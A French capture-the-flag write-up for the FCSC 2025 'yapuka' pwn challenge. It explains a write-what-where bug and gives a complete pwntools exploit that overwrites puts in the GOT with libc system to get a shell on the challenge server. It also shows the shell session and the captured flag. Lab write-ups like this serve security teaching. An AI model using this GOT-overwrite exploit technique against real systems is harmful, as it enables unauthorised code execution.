On a quoi ?
Deuxième challenge d’introduction en pwn, on nous donne plein de chose.
Et plusieurs fichiers :
- le binaire
- la libc utilisée
- le chargeur et éditeur de lien correspondant
On comprend quoi ?
On commence par analyser un peu ce binaire, mais avant cela autant le patcher avec la bonne libc et le bon chargeur.
Pour cela, on peut utiliser pwninit (patchelf
aussi, mais pwninit patch la libc et le ld). Une fois installé, il suffit de le lancer depuis le répertoire contenant nos trois fichiers et il se débrouille.
Il nous fournit alors le fichier yapuka_patched
$ file yapuka_patched
yapuka_patched: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-2.36.so, for GNU/Linux 3.2.0, BuildID[sha1]=ae21e8b1c9acd3cdb818199562c01f6d86f61c9c, not stripped
$ checksec --file=yapuka_patched
[*] '/home/mk/ctf/fcsc_2025/pwn/yapuka/yapuka_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
Stripped: No
Quelques points à noter :
- x86_64
- la plupart des sécurité classiques sont activées.
On peut le décompiler et regarder son fonctionnement :
void read_long(void)
{
ssize_t nblu;
long in_FS_OFFSET;
char user_input [24];
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
nblu = read(0,user_input,0x10);
if ((int)nblu < 1) {
exit(0);
}
atoll(user_input);
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return;
}
void get_leak(void)
{
// je passe le code, mais ça lit /proc/self/maps
// et nous retourne la pagination mémoire du binaire
// un beau leak
}
int main(void)
{
longlong where;
longlong what;
long in_FS_OFFSET;
long canary;
canary = *(long *)(in_FS_OFFSET + 0x28);
setbuf(stdin,(char *)0x0);
setbuf(stdout,(char *)0x0);
puts("Yapuka!");
get_leak();
puts("Now you can write once at an choose location!");
puts("Where:");
where = read_long();
puts("What:");
what = read_long();
*(longlong *)where = what;
puts("/bin/sh");
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return 0;
}
Le programme :
- nous affiche le leak de la mémoire
- lit deux entiers saisis par l’utilisateur
where
etwhat
- écrit la valeur
what
à l’adressewhere
- appelle
puts("/bin/sh")
Que faire ?
Si on pouvait remplacer l’adresse de puts()
par celle de system()
on obtiendrait system("/bin/sh")
Est-ce possible ? oui, mais pas tout à fait comme ça.
Je vous laisse lire un peu sur la PLT et la GOT : https://www.ctfrecipes.com/pwn/general-knowledge/plt-and-got
Comment
On regarde ce qu’il se passe lors de l’appelle à puts()
à la fin :
0x0000555555555448 <+182>: call 0x555555555030 <puts@plt>
gef➤ x/5i 0x555555555030
0x555555555030 <puts@plt>: jmp QWORD PTR [rip+0x2fca] # 0x555555558000 <puts@got.plt>
0x555555555036 <puts@plt+6>: push 0x0
0x55555555503b <puts@plt+11>: jmp 0x555555555020
puts()
n’est pas appelé directement, mais puts@plt
qui va sauter sur puts@got.plt
.
Comme puts
a déjà été appelée, et son adresse résolue (on se rappelle que le binaire est dynamically linked
) on a l’adresse de puts
dans la GOT : 0x555555558000
gef➤ vmmap
Start End Offset Perm Path
[...]
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /home/mk/ctf/fcsc_2025/pwn/yapuka/yapuka_patched
[...]
Et c’est le début d’une des plages mémoire du binaire (et du leak) qui est rw
, on va pouvoir écrire à cet endroit.
Du coup on a le where
, reste à trouver le what
: l’adresse de system
Grace au leak, on connait aussi l’adresse de base de la libc (l’adresse mémoire où elle est chargée) :
0x00007ffff7de1000 0x00007ffff7e07000 0x0000000000000000 r-- /home/mk/ctf/fcsc_2025/pwn/yapuka/libc-2.36.so
[...]
On a plus qu’à trouver l’offset de system
dans la bonne libc :
$ objdump -S libc-2.36.so | grep system
[...]
000000000004c490 <__libc_system>:
[...]
Et voilà … une fois la libc chargée en mémoire, system
sera à base_libc (0x00007ffff7de1000
- prendre celle du leak lors de l’exécution) + offset_system (0x004c490
)
Ce qui donne au final :
from pwn import *
from time import sleep
script="""
"""
exe = context.binary = ELF('./yapuka_patched')
HOST = "chall.fcsc.fr"
PORT = 2110
def con():
if args.GDB:
s = process([exe.path])
gdb.attach(s, gdbscript=script)
sleep(0.5)
elif args.REMOTE:
s = connect(HOST, PORT)
elif args.DBG:
s = process(["strace", "-o", "strace.out", "./yapuka_patched"])
else:
s = process([exe.path])
return s
s = con()
rep = s.recvuntil(b'Where:\n')
print(rep.decode())
# traitement du leak récupération de l'adresse de puts@got et de la base de la libc
puts = rep.split(b'\n')[5].split(b'-')[0]
puts = puts.decode()
puts = int(puts, 16)
base_libc = rep.split(b'\n')[7].split(b'-')[0]
base_libc = base_libc.decode()
base_libc = int(base_libc, 16)
offset_sys = 0x004c490
system = base_libc + offset_sys
print(hex(puts))
print(hex(base_libc))
print(hex(system))
s.sendline(str(puts).encode())
rep = s.recvuntil(b'What:\n')
s.sendline(str(system).encode())
s.interactive()
python3 exp.py REMOTE ✔ fcsc_2025 🐍 10:34:12
[*] '/home/mk/ctf/fcsc_2025/pwn/yapuka/yapuka_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
Stripped: No
[+] Opening connection to chall.fcsc.fr on port 2110: Done
Yapuka!
[...]
38d5bac6000-38d5bac7000 rw-p 00003000 00:22 14445 /app/yapuka
[...]
68256b4fb000-68256b521000 r--p 00000000 00:22 7882 /usr/lib/x86_64-linux-gnu/libc.so.6
[...]
Now you can write once at an choose location!
Where:
0x38d5bac6000
0x68256b4fb000
0x68256b547490
[*] Switching to interactive mode
$ ls
flag.txt
yapuka
$ cat flag.txt
FCSC{d83959a146c9b2c6342a93f6a5e328739c26dbdcbe350addf6befeb9f7a8988c}